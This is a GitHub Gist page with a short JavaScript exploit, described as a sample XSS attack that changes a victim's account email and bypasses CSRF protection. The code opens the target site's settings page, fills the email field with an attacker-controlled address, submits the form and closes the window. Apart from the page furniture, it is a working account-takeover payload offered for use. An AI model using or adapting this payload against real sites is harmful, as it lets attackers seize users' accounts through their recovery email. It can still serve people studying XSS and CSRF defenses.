Forked from shawarkhanethicalhacker/email_change_exploit_xss.js
Created
January 28, 2019 11:14
-
-
Save mikkz/04a57eb9a3dd983600f5ee6efb2e36fd to your computer and use it in GitHub Desktop.
This is a sample exploit for exploiting an XSS vulnerability that changes the user email. This bypasses some CSRF protections as the page was revoking the CSRF protections when refreshed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// a Simple XSS exploit for email change | |
// Shawar Khan | |
var dark_window = window.open('https://www.target.com/settings'); | |
dark_window.addEventListener('load', | |
function exploit_run(){ | |
dark_window.document.body.getElementsByTagName('form')[0][2].value='attacker@attacker.com' // changes email | |
dark_window.document.body.getElementsByTagName('form')[0][40].click() // clicks for submission | |
setTimeout(function() { // just for delay and closing | |
dark_window.close(); | |
}, 10000); | |
}, true); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment